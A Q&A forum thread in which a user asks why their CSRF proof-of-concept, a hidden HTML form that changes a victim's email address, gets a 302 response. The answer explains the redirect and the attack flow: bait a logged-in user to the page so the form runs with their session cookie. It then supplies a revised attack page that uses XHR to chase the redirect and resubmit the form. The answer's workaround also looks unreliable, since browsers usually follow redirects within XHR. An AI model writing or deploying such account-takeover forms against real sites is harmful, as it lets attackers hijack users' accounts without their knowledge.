Search code examples
csrf

My CSRF PoC doesn't work, the request of csrf get 302 error!! Can anyone help me


I have made a CSRF PoC :

<html>
<head>
  <title>CSRF Demo</title>
</head>  
  <body>
    <form action="https://website.com" method="POST">
      <input type="hidden" name="utf8" value="✓">
      <input type="hidden" name="email_address[name]" value="hacker">
      <input type="hidden" name="email_address[address]" value="[email protected]">
      <input type="submit" value="submit">
    </form>
  </body>
</html>

But when I run code, it doesn't work! I have check for the request and I found that request have status code : 302

Can anyone tell me why it happen and how to fix it!!!Thanks!!!(Sorry if bad English)


Solution

  • Status code 302 is a 3xx code: this is the family of redirect status codes. More precisely, status code 302 denotes that the resource was temporarily moved from the requested URL to another URL. This status code was introduced in the HTTP 1.0 specification, and is replaced by status code 303 in the HTTP 1.1 specification.

    When getting an HTTP response with status code 302, you will also get back a Location header with an URL as its value: this is the URL where you are redirected. Most browsers do this automatically, issuing an identical request to the new URL, but depending on your tool this may not be the case.

    In this case, I assume your CSRF works as follows:

    1. You create a fake webpage with the HTML code above, which hides the form fields.
    2. You bait an unsuspecting user into visiting this webpage, hoping he is logged in.
    3. The form is submitted to the URL with the logged in user's cookie (session ID or whatnot), unbeknownst to the user, thus executing the malicious action with the parameters which you control on behalf of the user.

    The problem is here that you are sending the form to an URL which gives you back another URL, which is where you should send the form. However, the request must come from the user's browser, so as to send his cookie.

    One way of fixing this would be to figure out if the redirect URL is always the same, and hardcode this URL into your form instead of the original one. Another way, which is safer, would be to recover this URL programmatically (for example with an XHR getResponseHeader) and then send the request to the redirect URL.

    The latter way could be implemented as follows:

    <html>
    <head>
      <title>CSRF Demo</title>
    </head>  
    <body>
      <form id="malicious" action="https://website.com" method="POST">
        <input type="hidden" name="utf8" value="✓">
        <input type="hidden" name="email_address[name]" value="hacker">
        <input type="hidden" name="email_address[address]" value="[email protected]">
        <input type="submit" value="submit">
      </form>
      <script>
        const XHR = new XMLHttpRequest();
    
        XHR.onreadystatechange = function() {
          if (XHR.readyState == 4 && XHR.status == 302) {
            // Send the form again to the correct URL
            const redirectURL = XHR.getResponseHeader("Location");
            document.getElementById("malicious").setAttribute("action", redirectURL);
          }
        }
    
        // Get the redirect URL
        XHR.open("POST", "https://website.com");
        XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        XHR.send("utf8=✓&email_address[name]=hacker&email_address[address][email protected]");
      </script>
    </body>
    </html>
    

    I tested this implementation with httpstat, which generates responses with the status code you want. When the user presses the submit button, the form should be submitted to the correct URL. This does assume that you are indeed getting the 302 code and the browser/tool does not perform an automatic redirect!